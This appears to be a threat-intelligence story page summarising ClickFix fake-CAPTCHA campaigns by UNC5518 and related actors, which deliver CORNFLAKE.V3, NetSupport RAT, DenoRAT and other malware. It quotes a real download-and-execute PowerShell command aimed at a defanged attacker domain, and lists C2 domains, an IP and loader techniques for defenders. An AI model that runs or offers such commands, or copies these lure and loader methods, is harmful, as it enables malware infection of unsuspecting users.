Loading story…
UNC5518 has compromised legitimate websites to display fraudulent CAPTCHA pages that use the ClickFix social-engineering technique, persuading visitors to paste and run a malicious PowerShell downloader. Mandiant assesses the cluster operates as an access-as-a-service provider: its initial-access framework has delivered the financially motivated UNC5774's CORNFLAKE.V3 backdoor, which uses JavaScript or PHP components to retrieve payloads over HTTP, execute them on disk, collect basic host data, and establish Registry Run-key persistence. Observed infrastructure also used Cloudflare Tunnels to proxy command-and-control traffic.
A separate ClickFix chain executed powershell.exe -c "iex(irm fixconfig[.]app)" and deployed a renamed NetSupport RAT client, Flaut.exe, through a multi-stage memory-resident PowerShell loader. The loader incorporated junk-code padding, encoded strings, hostname-based sandbox checks, locally compiled C# helper DLLs, Telegram victim reporting, and a payload hidden in a valid PNG; the installed RAT used laborado[.]net:443 and expendia[.]net:443 as gateways and persisted by hijacking a Startup-folder shortcut. Researchers assess this NetSupport activity is consistent with UNC5518-provided access being used by a downstream customer, plausibly UNC4108, rather than a targeted intrusion.
Get the actors, campaigns, and ATT&CK mapping behind it.
4 events from the most recent confirmed update back to the earliest known activity.
Since June 2024, UNC5518 has compromised legitimate websites to display fake CAPTCHA pages that use ClickFix lures to induce visitors to execute downloader scripts. Mandiant assesses the activity as an access-as-a-service operation used by multiple downstream actors.
The NetSupport deployment was assessed as consistent with UNC5518-provided ClickFix access being used by a downstream operator, plausibly UNC4108. The loader reported victim telemetry through a Telegram bot labeled ClickHunter and concealed its later-stage payload in a valid PNG file.
A ClickFix lure instructed victims to execute a PowerShell command that downloaded a memory-resident, multi-stage loader from fixconfig[.]app and ultimately installed a renamed NetSupport client, Flaut.exe. The payload used Startup-folder shortcut hijacking for persistence and was configured to use laborado[.]net and expendia[.]net HTTP gateways.
Mandiant identified a campaign in which a UNC5518 ClickFix downloader delivered CORNFLAKE.V3, a backdoor attributed to financially motivated UNC5774. The JavaScript and PHP variants retrieve and execute payloads, collect system information, and the V3 version adds Registry Run-key persistence.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. View all 10 in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
Get the adversaries, campaigns, and ATT&CK mapping behind this technique, with detections ready to deploy.
3 references tracked. Mallory keeps watching after this page renders.
shroudcloud.io
Open sourcecloud.google.com
Open sourcecybereason.com
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
Microsoft reported that social-engineering lures are increasingly being used to trick users into launching malware themselves, with the **ClickFix** technique emerging as a major delivery method across phishing, malvertising, and compromised websites. In ClickFix attacks, victims are shown fake CAPTCHA, verification, or repair prompts that copy malicious commands to the clipboard and persuade them to run them, often leading to fileless execution through LOLBins, obfuscated PowerShell, and follow-on payloads such as **Lumma Stealer**, **DarkGate**, **Latrodectus**, **ScreenConnect**, and **AMOS**. Microsoft said the technique has hit thousands of enterprise and consumer devices daily and is now supported by a growing underground market of ClickFix builder kits sold on criminal forums. Fresh activity shows the tactic continuing to evolve. A **SmartApeSG** campaign observed on compromised web traffic redirected victims to a fake human-verification flow that fetched an HTA downloader from `deltaode[.]com`, retrieved a ZIP archive, and abused DLL side-loading to launch an unidentified RAT that later communicated with `89.124.79[.]98` over TCP 443. Separately, Microsoft linked the **CaptiveCrunch** campaign to **Storm-2945**, a sub-cluster of Russia-linked **Midnight Blizzard**, which has manipulated DNS and HTTP traffic on hospitality and other captive-portal networks to redirect travelers to phishing pages and fake browser or OS updates delivering **CornFlake** and **ChocoShell** for credential theft and espionage, including theft of browser credentials, Microsoft 365 tokens, and Wi-Fi credentials.
Aug 24, 2026
A ClickFix-style social engineering chain tricked a Windows user into running a PowerShell one-liner from the Run dialog, launching a multi-stage malware infection that deployed two Python-based payloads. The first stage downloaded a fake **Intel Software Updater** Inno Setup package, unpacked a bundled **CPython 3.11** runtime, and launched a Python RAT that established persistence, profiled the host, and resolved follow-on command-and-control through the Ethereum blockchain using **EtherHiding**. A second PowerShell stage was then delivered over STDIN, downloading another Python runtime and payload into `ProgramData`, where `mod.pyc` decrypted its next stage with an inline **RC4** routine before moving toward process injection into `winver.exe` and a UAC elevation attempt involving **AppInfo** and `consent.exe`. The activity aligns with a broader malware-delivery ecosystem previously linked to **UNC5142**, which used EtherHiding-backed infrastructure and rapidly changing hosting on **Cloudflare Pages** (`pages.dev`), **Backblaze B2**, and domains such as `bluetroniq.vip` and `bytevista.cloud`. Observed lures frequently impersonated verification and security workflows, including fake **reCAPTCHA**, human verification, DNS resolver, IP provider, and macOS browser update pages, with staging paths such as `/support`, `/win`, and `/start` indicating payload delivery and redirection infrastructure designed to support social engineering and malware distribution at scale.
Jul 21, 2026
eSentire reported that a June 2026 intrusion against a finance-sector customer began with a **ClickFix-style social engineering lure** that triggered a malicious command, an MSI installer, and a multi-stage malware chain attributed to **TAG-150**. The infection sequence used an apparently AI-generated PowerShell script, `Griffin20.ps1`, to install the **Deno** runtime and launch the Deno-based loader **DinDoor**, which then deployed **DenoRAT** and ultimately **NightshadeC2**. Investigators said the malware communicated with command-and-control infrastructure including `webstizkgao[.]com` and used hard-coded JWTs carrying campaign identifiers such as `buildId 0def066f14754be9` and `buildNote LearnV7msi`. The tooling provided broad post-compromise capability, with **DenoRAT** functioning as a RAT, loader, and stealer that supported command execution, persistence, host fingerprinting, file operations, screenshots, PTY and VNC-style remote control, and theft from browsers and cryptocurrency wallets. eSentire said the malware could also bypass Chromium App-Bound Encryption through **DLL injection**, a technique widely associated with in-memory execution, evasion, and abuse of legitimate Windows processes in ATT&CK `T1055.001`. The final **NightshadeC2** payload was delivered through a PowerShell-driven Python in-memory loader, decrypted from an encrypted container using **AES-256-CBC** with a key derived from `MoscauHighSmoke`, and reflectively mapped into a Python process before the affected host was isolated and remediated.
Jul 17, 2026